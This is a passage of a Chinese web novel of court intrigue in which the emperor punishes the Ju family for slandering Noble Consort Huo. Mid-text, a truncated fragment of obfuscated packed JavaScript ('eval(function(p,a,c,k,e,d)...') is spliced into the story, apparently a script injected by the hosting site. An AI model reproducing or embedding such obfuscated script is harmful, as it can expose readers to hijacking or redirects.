魏王都想骂,嬴忱璧也发昏了啊,晏霁之发疯了居然还火上浇油,你也昏了还不出面?皇帝嬴忱璧只是被思绪绊住了,晏霁之的最后一问,这是想给皇帝难堪还是另有意图,否则何至于?嬴忱璧又进而怀疑晏霁之对霍灵渠真有真心吗?还没想好呢。 毕竟吧,这一问,搅得原牧炽这苦主都浮想,若是将来他和媳妇吵架了,他媳妇会不会也这么对付他呀?啊呀这么一想,原小将军都要有点害羞扭捏了。 晏霁之看原牧炽这小样就知道他在想什么,就近走到魏王的坐席前从果盘里只拿柰果,魏王戒备的打量他,晏霁之看都没看魏王就抄起柰果砸向原牧炽,原牧炽瞬间回神避过,在他发飙之前,晏霁之冲他咆哮:“你想什么呢你?!” 好多人一个激灵,原牧炽被噎下反击:“你干什么你,我想我媳妇关你什么事?”又令霍灵渠忍不住看向她六哥哥,惹得晏霁之再训这个:“你看什么看?” 霍灵渠瘪瘪嘴,霍海啸真想让他注意点,你们已经没有瓜葛了。 皇帝嬴忱璧终于姗姗来迟的下场:“晏卿对流光姨娘真难忘怀啊?” 多数人莫名松口气的被吸引过目光,霍擎瞟瞟皇帝,又垂下眼睑。 “禀陛下,臣只是觉得阿炽他有点输不起了。”晏霁之一派温润:“霍贵妃光明正大赢的比试,贵妃堂堂正正,既没有遮掩也没有耍阴招,阿炽自己猜不到贵妃会出什么招,不反思自己的局限反而还不依不饶,委实有些失了气概。” 霍灵渠下意识想反驳,六哥哥这是正常反应呀,但到底不能在晏霁之替她出头时还反过来拆台。看客们聚焦向原牧炽,多少人觉得晏霁之这就是倒打一耙以及自己打脸都不重要,端看原牧炽怎么应对?皇帝似乎都不合适在此时接话。 嬴忱璧再打量遍晏霁之,犹似不计较他答非所问的收回视线。 霍擎瞧着,皇帝是真不觉得此事堵不如疏,更没懂晏霁之这是对灵渠的保护。 班丞相念起昌隆侯送进京的第二道题,异曲同工,是否自我局限还真是两个层面。 两位副将觑向小将军,原牧炽俊脸沉寂但也很快想好:“愿赌服输,我认!” 就当是个教训,今后引以为鉴,不要小看女人,不,不要轻敌,原牧炽想好就豁达多了:“圣人、陛下,晏霁之说的没错,霍贵妃堂堂正正赢的比试,她既没有遮掩也没有耍阴招,是我轻敌才输了,我输得不冤,愿赌服输,我认。” “原小将军此言差矣。”太上皇刚想结束此事就被鞠太妃抢话,他脸上和蔼微僵,下瞬即几乎毫无异常地端酒杯饮酒,鞠太妃揪到机会怎么可能还不报刚才的憋火。 “世间岂有堂堂正正的人家行事龌龊,什么样的女人才能在大庭广众下将勾栏院里的手段使出来,还能不是包藏着腌臜心思的女人么,你可不能被误导。” 太上皇端酒杯的手僵住,皇帝神色一点点沉凝,霍海啸却是笑了。 许多人看鞠太妃可真有意思,霍贵妃刚影射过鞠家虚伪,居然还能往下跳。 126. 第126章 皇帝曾有口谕:谁若胆敢毁谤编排污蔑辱及霍贵妃,赐死。 鞠太妃这算不算编排辱及霍贵妃? 算啊,直指霍贵妃不检点,还能不算编排辱及吗? 原牧炽懒得理会这种太妃要驳掉被晏霁之拉住,他嗔怪看他,晏霁之写行字给他:人家把事情拔高到需得太上皇来和皇帝交涉了,和你没关系。 这么严重?原牧炽眨着倍儿有精神的大眼睛把疑惑传给他,晏霁之再写行字:很严重,皇帝今夜对此若是没有处置,明日,霍贵妃就能被唾沫星子淹死了。 庄太妃懊恼一时不察没拦住,你看不出来圣人想结束此事了吗,她觑着圣人的神色,还好圣人没多在意。同在的班太妃和蒙太妃对视眼,蒙太妃翻起个溢满风情的白眼,庄太妃是有多松懈呀才能把踩到皇帝头上的羞辱都能不当回事儿。 何止松懈,庄太妃怕是连太上皇的喜怒都揣摩不出来了,霍海啸懒得再观察。 郢国公要请罪被家眷拦住,鞠老夫人冷嗤,霍贵妃都做得,他鞠家还骂不得了? 观众们瞧着鞠家人的拉扯再相互看看发现大家都神情有些微妙,相比起来,霍家诸位包括霍太后在内除霍灵渠外都气定神闲,霍灵渠低眉敛目,重重面纱令人看不清楚她的神色,晏霁之凝视过女人的低落,看向霍海啸,霍海啸微微点头。 赢原牧炽的那招,灵渠就只当是个招数,没想过还会被拿来利用被糟污扭曲。 皇帝嬴忱璧扫视过他们的动向,专注盯鞠家人的争端,殿内不少人都注视着呢,班丞相看得直想摇头,郢国公是有多漫不经心啊这种时候还能和家眷啰嗦。 户部周尚书想起册封贵妃的宫宴上,显国公请罪可利索,当时事情起因还是在鞠太妃,今夜鞠太妃都算是再犯了,郢国公竟还能磨蹭。 武襄侯让孙儿过去给郢国公提个醒:圣人和陛下都在等着他了。 “装什么滥好人呀。”薛述嘉跟他爹含糊嘀咕,被训后还不服气:“京畿大营的兵权呀,他不垂涎吗?就算他不垂涎,他家没人垂涎吗,他会不清楚吗?” “毕竟是姨夫,你好歹有点尊重。”薛述聪加入:“我是想不通郢国公这都能拎不清吗,这又不是他鞠家和霍家的私怨,何况还有皇帝的口谕在前。” “大哥你不瞧瞧鞠太妃主动让大家看,多好名声的人家呀就是这样随意污蔑编排人的,谁瞎了?亲兄妹亲母女,能差得了多少?”薛述嘉蛮理解:“鞠老太太能让郢国公拆鞠太妃的台才怪了,况且你看郢国公又有多当回事儿,被拦住很正常。” “皇帝都立过威了。”薛述聪说,薛述嘉嘲笑:“大哥你傻不傻呀,不要说那些太妃了,你没看见郢国公都没把皇帝的口谕当回事,要不然他还能被家眷拦住吗?” 薛述聪看看弟弟反训:“那你还不快把那表侄儿拽回来,要不然咱老娘多亏。” “有道理!”薛述嘉一溜烟蹿出去,显国公没拦住,只好让侄子去给那大姐夫解释下。乐邑长公主捏捏拳头,真想怀疑薛述聪假公济私。 霍海啸请护国公夫人回坐席吧,他们会管住原牧炽。护国公夫人看眼殿中情形,再悄声安抚安抚孩子,保持着安静向两位至尊和皇太后行个礼就退下。 晏霁之看着鞠家人的闹剧,想到两个字:捧杀。 老郢国公在授康二十八年去世,郢国公三年父孝期满,都不用他费心思,太上皇就把京畿西大营交给他统辖了,当时大家觉得太上皇是想让鞠家和霍家制衡,现下看来,圣人应该在鞠家扶不起来后就没再费过心思,霍家五六年前就能报仇了。 是因为霍家没动手,太上皇才配合着做出是他护着鞠家之故,实则不过是他们在唱双簧一起对鞠家捧杀,以致于今夜在宫宴上,郢国公都能当在自家一般懈怠。 再看霍太后冷静得好像她和鞠太妃没有死仇,若非霍太后清楚太上皇向着她,如何能有这么多年的镇定?!晏霁之在心里摇头,猛然意识到个症结,老郢国公?已故的老郢国公哪来的自信认为在圣人想扶持鞠家、鞠家都扶不起来之后还能护着鞠家? 晏霁之想笑,自以为是可真是个要命的大忌。 景福殿内诡异的安静,鞠太妃顺着他们的视线看向郢国公府那边,一看就知道是她大哥想拆她的台被娘拦着,她又斜瞥过皇帝,这热切劲儿是想用她大哥来压她吗? 鞠太妃不屑,端起酒盏饮杯酒,看霍家居然都蔫儿了要追击时被兄长制止,她懒得理会要痛击霍家时又被兄长拦住,管束住家眷的郢国公砰然站起低头作揖,高声请罪:“鞠太妃出言无状,还请圣人、陛下降罪。”随即被鞠太妃斥:“大哥!” 请……降罪?许多人神情玩味,郢国公装不懂还是想公然挑衅皇帝呀?皇帝口谕在前,你请赐死,皇帝顺着台阶训斥后网开一面也就揭过了,可请降罪?你是在反嘲皇帝,我鞠家有太上皇护着,我就是公然踩踏你皇帝的口谕,你又能奈我何吗? 霍灵渠沉浸在低落中都被吸引地抬头看向郢国公,她再看看身边的哥哥,斟酌下,她猫着身踩着小碎步去找祖父,皇帝刚想处置就注意到贵妃的小动作了,谁还没看见啊,晏霁之看她这偷偷摸摸的德行就特想凶她,居然这都让他生出绮念了。 就在众人瞩目下,霍灵渠猫着身像只小仓鼠似的来到霍家座次这边,没有阻碍地要找她祖父时挡住,她便对着挡路的老头说:“让让,我有个问题问祖父。” 霍绥业老脸傲娇:“十六七年没见了,不知道要叙叙旧啊?” “我问个问题先。”霍灵渠当然认得出这叔祖,霍绥业有意见了:“什么问题,你叔祖我就在你面前呢,我不能解答,非得找你祖父,你这是在歧视谁呀?” 霍灵渠看着叔祖,想这叔祖也许知道的,想拉过叔侄说悄悄话时又被挡住,霍绥业还要找找面儿:“等等,霍海啸刚就在你边上,为什么不问霍海啸啊?” “我觉得大哥可能不清楚。”不然霍灵渠还用得着溜过来么,霍绥业就等这话了,乐道:“有眼光,来来来,跟叔祖说,遇到什么难题了?” 下刻一个不是霍姓的冒出来,蒋厚运堆笑道:“娘娘,陛下请您上座。” 霍灵渠让他退远,拉过叔祖说悄悄话,霍漓江只能凑过去,到底是要问什么呢?霍秦川眼咕噜转两圈,拽着堂叔去凑个堆,默念这是因为多个长辈顶着好。 “太上皇真的在护着鞠家吗?”霍灵渠怀疑。 四个长辈惊讶地看着她,霍绥业更乐了:“举朝皆知的事儿,你还有什么不明白的,若不然你小表妹被害惨死,你姑母的丧女之痛,咱们能忍这么久吗?” “不正常嘛。”霍灵渠指个方向,提出矛盾:“太上皇护着鞠家对他有什么用处,不管是太上皇想用以辖制霍家还是有心想提拔重用都有的是人家比鞠家合他心意吧?” “只因他刚才说的是请圣人、陛下降罪而不是说请赐死?”霍绥业求证,霍灵渠点头:“他这是在对太上皇表衷心吗?这是想挑起皇帝和太上皇的冲突吧,可太上皇目前能愿意和皇帝起冲突吗?若能,也没有平原大长公主被掌嘴了。” 所以,一点小事都能令太上皇恼火的臣子还可能被太上皇护着吗?霍灵渠的怀疑合理,霍绥业乐得直拍霍秦川的肩膀,霍秦川在心里把霍海啸痛骂通,对着侄女表凄哀:“娘娘,八公主刚被害时霍家还报不了仇,既然已经拖着了,差几年不是差。” 霍灵渠默然,下刻,魔音又幽幽传来:“娘娘——” 没等蒋厚运再催,霍灵渠烦闷走掉,聚在殿中的人群也已散了,她克制着想在大殿中找找六哥哥和晏霁之身影的冲动来到玉阶之上,看眼皇帝,扭头去跟她姑母坐。 皇帝嬴忱璧只好把让贵妃过来坐的心思放掉,扫过眼郢国公还是恭谨请上降罪的态度,他处置道:“丞相,班太妃的同母次兄在黟县任县令是吧?” 班太妃微怔,刚才被霍贵妃的小插曲打断还情有可原,这会儿呢,皇帝对郢国公的请罪置若罔闻还能不是故意晾着郢国公吗?庄太妃睨向她,鞠太妃几乎翻个白眼回给她:我还用你提醒吗?她就看皇帝能耍出什么把戏来,她脸上的轻蔑更是就没消失过。 郢国公可没有他妹的乐观,他直觉就有种不好的预感。 大多数看客们明了:皇帝陛下这是耐性耗尽要发作鞠家了。 班丞相站起来应是,正徽帝嬴忱璧转向太上皇提议:“父皇,淄州府尹空着有几天了,朕看黟县县令不错,不如,就把黟县县令调任淄州府尹吧?” 将七品县令升任四品府尹?! 好多人面面相觑,忠毅伯差点想跳起来反对,他都拟定好人选了! 晋王也憋闷,这皇兄什么想法呀,你要发作鞠家就发作鞠家,怎么就能绕那么远,他都把佟家空出来的几个位置想好了,这下好了,一个府尹白白打水漂了。 蒙侍郎默默哀怨羡慕,更懂皇帝为何是送给班家,班家有位丞相呀。 几人看不懂皇帝的用意?霍雄鹰都看得懂,陛下这就是在敲打鞠家,只要他皇帝愿意,抬抬手就能把七品官升做四品官,你鞠家是有多大能耐啊敢对君王不敬?! 郢国公当然也懂得,他若是再看不懂,这五十年就白活了。 鞠老太太屈辱地攥紧拳头,庄太妃噙着抹微笑看向鞠太妃,鞠太妃愤愤反瞪她。 班太妃看向伯父,班丞相示意侄女平淡处之,相爷看来,这当然不算什么。 太上皇问:“黟县县令才三十岁出头吧?” 皇帝答曰:“倘若给他机会都做不好,再换人就是了。” 太上皇也没有再驳:“好,丞相,让吏部派调令吧。” 班丞相领旨,晋王就知道他父皇不会反对,郁闷地倒酒喝,被大家伙看来捡到大便宜的班太妃同样没多少高兴反而有点五味杂陈,授康二十六年至授康二十八年间,圣人的后宫,她最得宠,她享受过宠妃的风光但从来没感受过嫔妃受宠反馈给家人的实惠。 今夜还是她第一回见识到,原来,只要君王愿意,真的能让人一夕间一飞冲天;但,若是君王震怒呢,班太妃自嘲,当然是覆手间就能将人打入地狱。 所以,鞠太妃当她长着几颗脑袋呀,蒙太妃瞧着鞠太妃真想笑,鞠太妃可恨,偏偏眼下没有机会能让她请圣人做主,她就没有怀疑过她请太上皇做主就能反压过去。相应的,她也没有想过她都看得懂皇帝的意思,太上皇难道还能看不懂吗? 郢国公闭闭眼,一直维持着请罪的恭敬状不变。 忠毅伯捏着鼻子认了这项半路杀出来的调令,谁想,皇帝又说:“父皇,亳州和茂县的两个空缺让显国公来安排吧。”气得忠毅伯差点想摔杯,他都把人选拟定好了! 晋王的感观就好多了,让显国公安排不就是让他安排么,这对他又没妨碍。 太上皇仍然爽快地应允了,显国公站起来领旨,薛述嘉拉拉他哥,暗暗往上指指,怪道:“这跟咱家有啥关系,没头没脑的点咱爹不可能没点隐喻吧?” “咱爹狠辣呀,哪还能让陛下为难。”薛述聪说完,挨了老爹一脚,薛述嘉了然:“哦,皇帝口谕在前,这要是换作姓薛的太妃,爹肯定眼都不眨下就请赐死了。” 于是乎薛述嘉也被踹了一脚。 晏霁之来到霍家坐席这边,问:霍灵渠刚才偷偷摸摸过来问什么问题? 霍漓江嫌他:“注意你的身份,非得让皇帝看你不顺眼就是你自找的。” 晏霁之反对:“这不是该划清界限的问题,这是对我和霍海啸的质疑,我和霍海啸刚刚就在她边上,她什么问题不能问我和霍海啸非得跑过来找爹爹找祖父?” 这点鸡毛蒜皮你计较个什么劲儿啊,霍漓江不想理会,又怕他纠缠个没完,还是给他句话让他滚:“太上皇真的在护着鞠家吗?行了,走吧。” 晏霁之惊讶,他和霍海啸都是多少年都没有察觉过,霍灵渠就这么发现了? 兀然间,晏霁之心有点沉,皇帝能接受这样犀利又活泼的贵妃吗? 当然能,甚至就得是那样的犀利尖锐才能把皇帝心里的腐肉剜出来,也得要那样的活泼才能治愈皇帝的心伤,这一刻,晏霁之几乎不敢怀疑皇帝会爱上霍贵妃! 太上皇? 晏霁之陡然心一沉,太上皇想要有个家人般的慰藉,皇帝呢?以皇帝对芮家和郭氏的态度摆明皇帝也想要有家人的慰藉,一旦皇帝剥离芮家和郭氏,就只剩霍家了? 那么,皇帝将来还能放掉霍灵渠吗?晏霁之望向高座的君王,在这流光溢彩的肃穆里,一个感觉油然而生,皇帝,嬴忱璧他应该是从来没有想过要放手吧。 御座上,嬴忱璧的指派还在继续:“父皇,雷刚驻守襄阳多年,常年与家眷天各一方,朕觉得有些对不住雷将军,把他调回来,让楼冶去统管襄阳的驻军吧。” 许多大臣一惊,是真的惊到了,皇帝这是要对鞠家动真格? 把驻守襄阳的雷刚调回京,京中有合适雷刚的位置吗,雷刚入京将取代谁? 皇帝这是真真在和太上皇议鞠太妃的命,在昭告群臣乃至太上皇:皇帝口谕不是戏言,鞠太妃要找死,他就敢赐死鞠太妃;太上皇要保,鞠家想求,拿出代价来买。 甚至,鞠家付出代价后又能保几时?霍家和鞠家可还有笔血账未清,皇帝到底是霍太后养育长大的呀!班丞相左手握拳,右手包握着左手,忽然都有点不敢深想了,显国公都不能再等闲视之了,莫非皇帝不想再留鞠家了,否则何至于? 郢国公想的没有显国公深,但皇帝提雷刚是影射谁当然清楚,形容又低沉些。 晏霁之注视他两息时间,转过头,冷不防撞上晏墉的视线,他手抵唇轻咳道:“我想,郢国公的感受应该是只因这么点小事,皇帝就要这样折辱鞠家?!我估摸着,郢国公是真不觉得他的请罪有何不妥,他压根儿就没把皇帝的口谕联系起来。” “这就是过得舒服惯了。”晏墉淡淡道:“鞠家对佟家,五十步笑百步。” “您,您清楚郢国公在打什么算盘?”晏霁之看这爹有点意外,晏墉侧目斜儿子一眼,看他这小样都懒得看一般丢个评语:“你们表兄弟还是很像的。” 晏霁之转头,他发现他居然听懂了。 表兄弟指谁呀?指他和皇帝,什么像呀?都小看老爹,晏霁之真有点哭笑不得。 玉阶之上,太上皇定定注视着皇帝,喊了声:“皇儿?” 嬴忱璧像是没有察觉到太上皇的严肃,龙颜溢笑:“朕差点忘了,”皇帝他转向群臣,声线洪亮腾跃:“臧芣缄,既然回京了趟,多留几天,月底再回潼关吧。” 臧芣缄三十八岁,正是大展宏图的年华。他身形不算魁梧,但很有力量,他脸晒的黑,脸部轮廓偏硬,眉宇间满满的精炼之色,整个人似都彰显着能担事的可靠。 他站起来谢过陛下,但并未重新坐下,看向太上皇,太上皇只盯着皇帝,嬴忱璧笑笑:“要么让她随父皇去太微宫,就算没名没姓不也能锦衣玉食的活着么。” 这个她指谁,大概也就鞠太妃自己和少数看官们没懂了,郢国公惊住,晋王怔愣了下,反应过来后不可思议地看着皇帝,这皇兄是疯了吧?霍家都还没怎么样,他这是在闹什么,有他这么立威的吗,如此没有宽博之德,还有大臣敢倒向他吗? 但皇帝不像这么不长脑呀,晋王沉吟下,去找显国公。薛家这边,薛述嘉对鞠家人的错愕惊诧翻个白眼正悄悄对他爹说:“还以为皇帝的口谕是闹着玩的吗?” 显国公泼盆冷水:“幸亏你娘不在。” 薛述嘉蔫儿了,晋王过来,没有废话的就问:“皇帝这是想把鞠太妃赐死吗?” 显国公点头:“毕竟有口谕在前么。” “什么口谕?!”晋王被好笑无语地没顾忌的就骂出来了:“一点微不足道的小事,他都要动杀心,若是个宫人也就罢了,这是太妃,是朝堂重臣的妹妹,他如此刻薄寡恩还想收揽人心还有大臣敢效忠吗?这种情况当然该顺势宽容。” 薛述聪想给妹夫阐述事情的严重性又被踹脚,他看眼父亲,若无其事转头。 乐邑长公主拿手绢按按嘴角,薛述嘉被媳妇悄悄扯把后给她个眼色,反正他家跟晋王就这么个情况,他娘还向着晋王女婿还没忘掉做皇帝岳母的白日梦,他爹早就不想帮女婿了;晋王觉得皇帝提拔薛家还不是只会为他所用,他爹可完全能舍弃女婿。 连乐邑这当姐姐的都清楚,又如何,还不是只会一起把晋王蒙在鼓里吗? 还是在于见识吧,就像晋王对皇帝处置鞠太妃的看法,贻笑大方,薛侍郎抿下唇,瞥过庄太妃也很吃惊,他抿起极浅的笑意,庄太妃到底是深宫妇人,不懂啊。 皇帝要处置个太妃能算什么,鞠太妃自己找死,皇帝若是都不敢处置才是笑话,这太妃是朝堂大臣的妹妹又如何,郢国公若因此愤懑,有的是将领前赴后继想取代他,皇帝会因为处置个太妃就会没有效忠的大臣吗?这不是滑天下之大稽么。 皇帝若是软弱客气只会一味讨好大臣才叫人看不起才真正会让大臣不把他当回事。 丞相想,也还在于敬畏吧,这若是太上皇的口谕,太上皇要处置,晋王会觉得不妥吗?但既然对皇帝没有敬畏,同样的情况对于晋王和庄太妃当然是两种认知。 庄太妃险些都懵了懵,皇帝这扯了半天难不成是在和圣人议鞠太妃的命?出什么事了,到底是皇帝疯了还是有发生什么她不知道的大事,鞠太妃就那么两句话,皇帝居然能上升到想将鞠太妃处死,他真不是疯了吗,他这样子还能收揽大臣吗? 太上皇就盯着皇帝儿子,明明白白问:皇帝你一定要如此吗? 嬴忱璧自是清楚太上皇今夜要保住鞠太妃和鞠家,毕竟在众人眼中,太上皇一直在庇护着鞠太妃和鞠家,倘若他就这么撒手不管会让效忠太上皇的臣子寒心更是在打太上皇的脸,太上皇还没有放掉大权呢,岂有被皇帝逼退之理?! “臧芣缄,回潼关前记得让魏王给你赔份大礼。”嬴忱璧看向大臣,甚是意味深长:“庄太妃有意向圣人请旨,纳你的嫡女为晋王侧妃,若非晋王和魏王的表妹有缘,晋王自己挑了魏王的表妹做侧妃,该降在你家的福分哪能就这么溜走了。” 大殿内仿若一静,显国公被气笑了,薛述嘉都被气笑了,这做的还能再明显点吗?但,即使是他们都没有表现出异样,众人不约而同的仿佛没有过耳一般,有小辈打量庄太妃还被家长制止了,萧灼灼就被她大伯母给拉了把,让她不要表现出异常。 萧灼灼悄悄问为何,得到个答案:会犯圣人忌讳。萧灼灼心说,圣人是不愿意让晋王纳臧将军的女儿做侧妃吗?但她看看大家真的没谁打量庄太妃,她还是不问了吧。 霍灵渠坐到姑母身边后摘掉了绑面纱的绸带,闲着就偶尔吃点零嘴饮杯果酒,这会儿她看皇帝意气飞扬的样子,越看越不觉得他被太上皇压制着。 晋王妃瞥眼上座的婆母,翘翘唇笑,忽然觉得纳那个任逍做侧妃不错。 晋王冷嗤,这皇兄就这点能耐,求不到父皇允准就来戳他的痛脚! 臧芣缄真是怎么接话都不合适,只能低头沉默,太上皇的脸色是真差,魏王笑,庄太妃怕是没听懂嬴忱璧的意思,这是让太上皇看看:你护着的都是些什么货色;让臣子们看看,这都是些什么玩意儿,给太上皇台阶下让他们能接着往下谈。 庄太妃确实没懂皇帝在含沙射影些什么,她若是觉得此举不妥又怎么会这么做。 她扫视过众臣,又扫视过霍氏姑侄,都是各自闲适吃喝,没瞧出谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍秦川教导儿子和女婿:郢国公去不了北境了。显国公也是当机立断教导儿子和侄子:郢国公去不了北境了。薛述聪哥俩有疑虑还被堂兄弟抢先了,薛二爷震惊:“大伯,明早,圣人就要颁旨派蜀王和郢国公镇守北境换护国公回来,朝堂皆知。” “没有了,郢国公上了前线都能让他回来,何况旨意都还没有颁布。”显国公说,薛述聪霎时间就没有疑虑了,薛二爷往上看眼,忽然间感到阵寒意。 晏霁之注视过郢国公后转过视线又对上他爹,晏墉问:“你,不用教了吧?” “我想应该不用,您看穆国公就略过了霍海啸没教,我虽然和霍巨浪的年纪更相近,但同是嫡长子,我对标的肯定是霍海啸。”晏霁之刚在观察霍灵渠怎么就能轻易发现太上皇并没有庇护着鞠家,他直想叹气,自己以前是真粗心,确实不难推测。 譬如眼下,郢国公若是猜到皇帝不想让他去北境了还能这么镇定吗,郢国公以为的必是皇帝想用白老将军制约他,如此不解上意,太上皇怎么可能护着鞠家? 太上皇却是忽然生出股兴味,转向大臣们,笑容可掬道:“国丈,庄妃自潜邸起就陪着寡人,三十多年了,寡人潜邸时的老人就剩她了,寡人想赏赏她,黟县县令既然空出来了,让庄太妃的娘家子侄去补这个缺,国丈看合适吗?” 圣人跳话题跳得可真快,好多人想,皇帝嬴忱璧都愣了下。 霍擎老国丈站起来,也是很有兴味:“女婿啊,你是知道的,庄太妃的本事只在内廷,出了深宫内苑,庄太妃没本事了,担不起。” 问的人知道自己在问什么,答的人也知道自己在答什么,可看客们,霍秦川忒想捂脸,他要对妹夫忏悔,他不该小看太上皇妹夫,太上皇居然真把郢国公府揪出来了。 霍海啸总觉得这对话透着古怪,看见他爹哭笑不得,他默下,看向晏霁之,他俩眼神交流过,晏霁之点头,太上皇就是在问霍家的阴谋以及不相信是庄太妃独自做的。嬴忱璧也是都错愕了下,瞧着他俩的眼神交流,皇帝他默默喝杯酒压压惊。 敏锐的看官们都能感知乃至直觉就觉得太上皇和老穆国公的问答不简单,魏王踱步到霍海啸身旁,原牧炽蹿出去找晏霁之。班丞相纠结呀,纠结会儿还是让长孙去找穆国公世子,转念想又把孙子拉回来,改成去找英王世子。 显国公就没什么纠结的,利索地让薛述嘉先去找晏家探探情况。 霍雄鹰很奇怪,这些人蹿来蹿去的干什么呀,冷不防撞上湘王,他:“……” 还没和好且笃定这表哥不会知道的湘王绕过去找二表哥,霍雄鹰握握拳头。 但,霍巨浪也不清楚呀,只好求教他哥,霍海啸道:“魏王想让祖父推荐他的人。” 湘王古怪地瞟向魏王,魏王反瞪他,觉得这四哥也蛮幼稚的湘王默默回了。 班韫堂和薛述嘉也差不多都把答案带回给家长了:你还真相信凭庄太妃自己就能在霍家办出那样的大案?显国公怔住,班丞相心惊,这两人都是在长辈的手心里悄悄写的,薛述聪拽过弟弟问情况,薛述嘉再告诉老哥,他够胆大的都觉得有点心慌。 晋王要反唇相讥被媳妇拉着,晋王妃不管出于什么心思就是不想让晋王争这个气,又指庄太妃自己都很平淡。庄太妃看着老穆国公笑,确实不在意这点细碎。 太上皇饮杯酒,又问:“那么,国丈以为该派谁去黟县?” 霍擎若有感怀:“圣人,肃宗皇帝把嫡女和幼女都定给了孙家,您给悼太子挑媳妇时也是往孙家挑的,孙家是太宗皇帝皇后的娘家,是您皇祖母的娘家呀。 这些年因悼太子薨逝,孙家沉浸在悲痛中一直没怎么在人前现身,但,十余年了,该往前看了,就让孙家的娃去黟县吧,圣人您皇祖母的娘家人,不会差的。” 太上皇深深看这岳父一眼,允道:“好,显国公,你就从孙家挑个合适的。” 嬴忱璧怔下看向晏霁之,晏霁之转头,高手过招呀!皇帝他再错愕下,视线看向魏王,魏王懒得跟他来个眼神交流什么的,别开眼,嬴忱璧再喝杯酒。 霍擎话语中的重点是什么呢,对,往前看! 懂了这三个字,结合语境和当前情况差不多也就能猜出来了,这不,刚回座位的原牧炽再次蹿到晏家这边拽着晏霁之狂不可思议:“他们这啥意思? 老穆国公给老皇帝说,你不要让魏王和晋王瞎搅和了,你怕晋王没了以后,魏王会给你找麻烦,你就让魏王和皇帝瞎搅和嘛,然后老皇帝让薛家做选择跟晋王断掉?” “对!”晏霁之应和:“太上皇既然点显国公,很明了了,他想留住薛家,只要显国公能接受嫡女将来做寡妇做平民百姓,晋王倒台对薛家没有影响。” “他们用得着这么藏话吗?”原牧炽受不了了。 “你不照样听懂了。”晏霁之难以和他共鸣。 “我多费劲啊!”原牧炽当即嫌他没眼色地怼回去。 显国公同样懂了,平静地领旨。孙家没人在,故而没人出面谢恩。晋王妃娇笑着向丈夫夸耀,晋王瞥过眼魏王,算是把刚才憋着的浊气吐出去了。 谁想,太上皇竟传令:“好,丞相,让楼冶去统管襄阳驻军,让雷刚回来;你再给白老将军去封慰问信,若北境需要支援,暂且就定让白松菊和雷刚随蜀王去北境。” 晋王差点跳起来,他父皇在说什么呢? 楼冶没在,但这不重要,重要的是大家都被炸醒了,薛二爷、乐邑都有点心跳加速,居然真就这么把郢国公给换掉了!鞠家,尤其是鞠老夫人懵了,庄太妃愕然看向圣人,谁还不知道太上皇原定的是让郢国公和蜀王去北境,为什么要改主意? 圣人为什么要改主意,庄太妃一时心绪沸腾地厉害,雷刚,白松菊,她根本没接触过,她连这两位什么脾性都不清楚,圣人到底为何要这样向着皇帝呀?! 鞠太妃更是没忍住喊:“圣人您在说什么呀——”倏然间迎上众多视线,霍太后淡淡笑着看她,没什么幸灾乐祸和不屑,就那么淡淡笑着,偏偏更充斥着一种高高在上,让她有种好像她是只蝼蚁能轻易将她碾死的错觉,鞠太妃猛地一个激灵。 她扑到太上皇身边,挤笑道:“圣人,圣人您定的不是让我大哥去北境吗?” “郢国公!”皇帝高声传唤,鞠太妃忍不住看过去,皇帝看着郢国公上前来,重训道:“朕口谕在前,鞠太妃还敢当着朕和圣人的面编排毁谤贵妃,她可真不惜命。 念在十弟早夭,圣人顾念鞠太妃,朕后宫有皇嗣降生,贵妃刚做母亲,这回就算了,若有再犯,宫里就没有鞠太妃了,圣人厚爱,别再让圣人寒心了!” 鞠太妃霍然看向皇帝,他说什么,什么叫做,若再犯,宫里就没有鞠太妃了?庄太妃狠狠攥着拳头,捏得指尖泛白,圣人到底为何要这么帮皇帝立威呀?! 班丞相轻轻瞥过,不是庄太妃笨才想不通,是庄太妃的认知出问题了,太上皇会愿意帮皇帝立威吗,太上皇若能强压会不压着吗?什么因由才令太上皇没有强压,答案显而易见,但庄太妃既没把皇帝看在眼中,她自是想破脑袋都想不懂。 晋王恨得险些一拳头砸在桌上,郢国公形容沉沉地跪下请圣人和陛下降罪,吏部薄尚书看着他忽然就想起上回宫宴上平原大长公主被罚掌嘴受大辱,显国公这做丈夫的仍然淡定得像没事人,他虽然没理通圣人和老穆国公的对话,但这对照还不明显吗? 不能去北境了又如何,郢国公至于这么受不住吗?薄尚书摇头,对上周尚书的视线,他仍笑着摇摇头。周尚书叹息,鞠家大概是过得太顺了,以致郢国公这当家人竟也受不得一点挫折,可他这个样子,京畿西大营的兵权,他还想拿几天? 太上皇让郢国公退下吧,鞠太妃知道错了记住教训,就不是什么大事。 郢国公谢恩退下,鞠太妃猛地感到阵寒气,她看着太上皇又转向皇帝,浮现个念头,她要给皇帝塞宠妃,她一定要给皇帝安排宠妃。 127. 第127章 皇帝再立威,对众人不管是否有影响,在太上皇面前,大家都像没受影响。 晏霁之想,太上皇为何没有换个人去襄阳,他岂会不知楼冶是皇帝的铁杆吗?再想想,是没必要,太上皇若能重登大宝,一个楼冶还能翻出水花来?十个楼冶都不必看在眼里,以太上皇的眼界确实不必计较这点小事,还能安抚皇帝,何乐而不为? 威慑过,谁还想编排针对霍贵妃的流言蜚语得掂量掂量自己的命能否抗住,在大家以为此事告一段落时,皇帝嬴忱璧说:“父皇,贵妃赢得比试的招数,应是童年时阿漾所教,让镇南侯上份请罪书来吧,这都把贵妃教坏了,再不让他请罪岂还能得了?” 童年这群小伙伴纷纷瞧向皇帝,霍灵渠转转头,皇帝至于吗? 太上皇也是觉得皇帝至于嘛:“阿漾应该不会教贵妃这等招数吧?” “莫非是六弟?”嬴忱璧言之凿凿:“除他们俩之外不会有第三个了。” 晏霁之坏笑看向霍海啸,霍海啸也转过头,连他爹霍秦川在内的霍家诸位也幸灾乐祸,这要是让霍海啸担着,这当大哥的还真是就只有背黑锅的份儿啊。 原牧炽驳斥:“陛下您这样胡猜乱扣不合适吧?” 嬴忱璧爽快地点名:“霁之觉得应该是谁教坏了贵妃?” 皇帝这点小九九还有完没完了,晏霁之瞟他眼,甚有感悟:“臣觉得,为咱们童年读书时的课业好看,圣人让我和他们两个组队真是太英明了。” 嬴忱璧提醒:“朕问的是,谁教坏了贵妃?” 